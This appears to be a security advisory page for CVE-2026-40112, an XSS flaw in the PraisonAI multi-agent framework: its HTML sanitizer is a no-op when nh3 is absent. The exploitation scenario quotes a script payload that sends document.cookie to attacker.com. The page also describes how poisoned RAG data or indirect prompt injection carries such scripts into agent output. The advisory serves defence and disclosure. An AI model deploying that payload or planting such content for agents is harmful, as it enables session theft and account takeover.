AI Threat Alert
CVE-2026-40112: PraisonAI: XSS via no-op HTML sanitizer in agent output
GHSA-cfg2-mxfj-j6pw MEDIUM CISA: TRACK*PraisonAI's Flask API endpoint renders agent-generated HTML without effective sanitization because the nh3 library is not listed as a required dependency, making _sanitize_html silently return raw HTML in every default installation prior to 4.5.128. Any attacker who can influence agent inputs—via RAG data poisoning, web scraping results, or indirect prompt injection—can embed JavaScript payloads that execute in the browser of any user viewing the API output, enabling session theft and account takeover. While the CVSS is 5.4 (medium) and there is no active exploitation or CISA KEV entry, PraisonAI's multi-agent architecture routinely sources inputs from untrusted external content, widening the realistic blast radius significantly beyond a standard XSS. Patch to 4.5.128 immediately; if patching is delayed, manually install nh3 (pip install nh3) to restore sanitization and enforce a strict Content Security Policy on any service rendering API output.
What is the risk?
Medium severity (CVSS 5.4) with low attack complexity and no privileges required, though user interaction is needed. The risk is elevated in AI deployments where agent inputs routinely originate from untrusted external sources—RAG databases, web crawlers, scraped third-party content—all common patterns in PraisonAI multi-agent workflows. No public exploit or KEV status lowers urgency, but the insecure-by-default configuration (sanitizer silently disabled) means all default installations are affected. Server-side impact is nil; browser-side impact is session hijack, credential theft, and UI manipulation.
How does the attack unfold?
What systems are affected?
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch: Upgrade PraisonAI to 4.5.128 or later—this is the definitive fix.
-
Workaround: Manually install nh3 (pip install nh3) to activate the sanitizer in existing deployments without patching.
-
CSP
Deploy a strict Content-Security-Policy header on any service rendering PraisonAI API output to block inline script execution as defense-in-depth.
-
Input restriction: Audit and restrict which external data sources feed agent RAG pipelines; prefer allow-listed, validated sources over open web crawling.
-
Detection: Monitor Flask API logs and agent output fields for unexpected script tags, event handlers, or javascript: URIs using a WAF or log-based detection rule.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-40112?
PraisonAI's Flask API endpoint renders agent-generated HTML without effective sanitization because the nh3 library is not listed as a required dependency, making _sanitize_html silently return raw HTML in every default installation prior to 4.5.128. Any attacker who can influence agent inputs—via RAG data poisoning, web scraping results, or indirect prompt injection—can embed JavaScript payloads that execute in the browser of any user viewing the API output, enabling session theft and account takeover. While the CVSS is 5.4 (medium) and there is no active exploitation or CISA KEV entry, PraisonAI's multi-agent architecture routinely sources inputs from untrusted external content, widening the realistic blast radius significantly beyond a standard XSS. Patch to 4.5.128 immediately; if patching is delayed, manually install nh3 (pip install nh3) to restore sanitization and enforce a strict Content Security Policy on any service rendering API output.
Is CVE-2026-40112 actively exploited?
No confirmed active exploitation of CVE-2026-40112 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-40112?
1. Patch: Upgrade PraisonAI to 4.5.128 or later—this is the definitive fix. 2. Workaround: Manually install nh3 (pip install nh3) to activate the sanitizer in existing deployments without patching. 3. CSP: Deploy a strict Content-Security-Policy header on any service rendering PraisonAI API output to block inline script execution as defense-in-depth. 4. Input restriction: Audit and restrict which external data sources feed agent RAG pipelines; prefer allow-listed, validated sources over open web crawling. 5. Detection: Monitor Flask API logs and agent output fields for unexpected script tags, event handlers, or javascript: URIs using a WAF or log-based detection rule.
What systems are affected by CVE-2026-40112?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, RAG pipelines, web-facing AI interfaces.
What is the CVSS score for CVE-2026-40112?
CVE-2026-40112 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.22%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application AML.T0051.001 Indirect AML.T0070 RAG Poisoning AML.T0080 AI Agent Context Poisoning Compliance Controls Affected
What are the technical details?
Original Advisory
PraisonAI is a multi-agent teams system. Prior to 4.5.128, the Flask API endpoint in src/praisonai/api.py renders agent output as HTML without effective sanitization. The _sanitize_html function relies on the nh3 library, which is not listed as a required or optional dependency in pyproject.toml. When nh3 is absent (the default installation), the sanitizer is a no-op that returns HTML unchanged. An attacker who can influence agent input (via RAG data poisoning, web scraping results, or prompt injection) can inject arbitrary JavaScript that executes in the browser of anyone viewing the API output. This vulnerability is fixed in 4.5.128.
Exploitation Scenario
An attacker identifies a PraisonAI deployment that uses a RAG pipeline ingesting content from publicly accessible websites. They publish a page containing <script>fetch('https://attacker.com/c?s='+document.cookie)</script> embedded within otherwise legitimate-looking security advisory text. A PraisonAI agent performing routine threat research crawls this page and incorporates the content verbatim into its output. The Flask API calls _sanitize_html, but because nh3 is absent in the default install, the function returns the raw HTML unchanged. When an analyst views the agent output in their browser, the script executes immediately, exfiltrating their session cookie. The attacker uses the stolen session to access the PraisonAI operator console and pivot to further intelligence collection or agent manipulation.
Weaknesses (CWE)
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Primary
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Primary
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
GHSA-vmmj-pfw7-fjwp 9.9 praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai GHSA-9qhq-v63v-fv3j 9.8 PraisonAI: RCE via MCP command injection
Same package: praisonai CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai